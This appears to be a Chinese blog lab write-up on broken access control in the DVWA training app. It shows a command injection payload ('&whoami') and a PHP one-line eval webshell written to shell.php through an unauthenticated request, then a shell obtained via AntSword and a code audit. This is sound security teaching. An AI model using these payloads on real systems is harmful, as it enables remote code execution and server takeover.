失效的访问控制漏洞复现(dvwa)

文章目录

失效访问控制是什么?

由于缺乏自动化的检测和应用程序开发人员缺乏有效 的功能测试,因而访问控制缺陷很常见。导致攻击者可以冒充用户、管理员或拥有特权的用户,或者创建、访问、更新或删除任何记录。

水平越权

在同级别账户中横向移动。

垂直越权

普通用户获取管理员权限

如用户在访问账户信息的SQL时调用了未经验证的数据,攻击者只要修改它的参数就能访问任何用户;如果用户发生了平行越权或垂直越权,这也是一种失效的访问控制漏洞。垂直越权在渗透测试中一般被叫做提权。

dvwa漏洞复现

打开dvwa,点击Command Injection命令注入漏洞,发现这里一个执行ping命令的输入框,输入它的环回地址:

复制代码
127.0.0.1

点击提交,出现命令回显:

用bp抓包后Ctrl+r发送到重定向,在ip和submit字段发现尝试命令拼接,由于bp中的&符表示分割语句,所以需要将&符转义,输入下面命令,Ctrl+U转义&符:

复制代码
&whoami

点击send发送后成功回显:

low等级的源文件没有做访问控制限制,在未登录dvwa的情况下也能直接访问该文件:

用bp抓包,Ctrl+r发送到重定向,右键在选项中改变该数据包的类型为post(只有这样才能接收):

改变后删除它的cookie字段,然后再次输入上个数据包的拼接命令的字段:

点击send后发现回显了当前文件的路径,说明利用生效访问控制的漏洞在low的源码中也能执行,参数成功被源码接收(详细看代码审计):

用未授权访问获取shell

刚才已经发现源码文件有一个未授权访问的漏洞,在不登录的情况下也能访问该文件,我们可以用一句话木马写入到和它同目录下,用蚁剑连接后就能获取shell:

在抓到的数据包中输入下面的命令:

复制代码
&echo "<?php @eval($_REQUEST[777])?>  >shell.php "

Ctrl+u转义:

复制代码
%26echo "<%3fphp+%40eval($_REQUEST[777])%3f>++>shell.php "

写入文件成功:

访问该文件发现能正常打开,用蚁剑连接测试成功:

添加后获取shell成功:

代码审计

查看low等级的源码:

复制代码
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

发现它用post方法接收一个submit参数,并用if语句判断是否接收到,用request接收了一个ip参数,将它的值给target参数,在cmd = shell_exec( 'ping ' . target );命令中将ping命令与target拼接,并且输入的命令未做任何过滤,该文件没有做访问控制限制,在未登录dvwa的情况下也能直接访问该文件

相关推荐
这是谁的博客?6 小时前
AI Agent 安全架构设计:漏洞分析与防护策略深度解析
人工智能·安全·网络安全·ai·agent·安全架构·架构设计
黎阳之光7 小时前
黎阳之光:以视频孪生重构智慧防火,打造“天空地人智”一体化森林防火新范式
大数据·运维·人工智能·物联网·安全
黄筱筱筱筱筱筱筱8 小时前
LINUX-防火墙
linux·服务器·网络
每天一把堆栈10 小时前
ciscn-pwn
安全·网络安全·pwn
05候补工程师10 小时前
从算法理想向工程现实的跨越:SLAM 核心架构、思维误区与 Nav2 实战避坑指南
人工智能·算法·安全·架构·机器人
CPETW11 小时前
RS-232 Sniffer 嗅探器 ---- UNI-T电子负载通讯协议抓取-C
网络
雪度娃娃12 小时前
Asio异步读写——连接的安全回收问题
开发语言·c++·安全·php
liulilittle12 小时前
TCP UCP 卡尔曼滤波器
网络·网络协议·tcp/ip·通信
GOTXX12 小时前
SenseNova U1 实战体验:API 调用 + OpenClaw 接入全流程
服务器·网络·人工智能·语言模型
liulilittle12 小时前
TCP UCP:基于卡尔曼滤波的BBR增强型拥塞控制算法
linux·网络·c++·tcp/ip·算法·c·通讯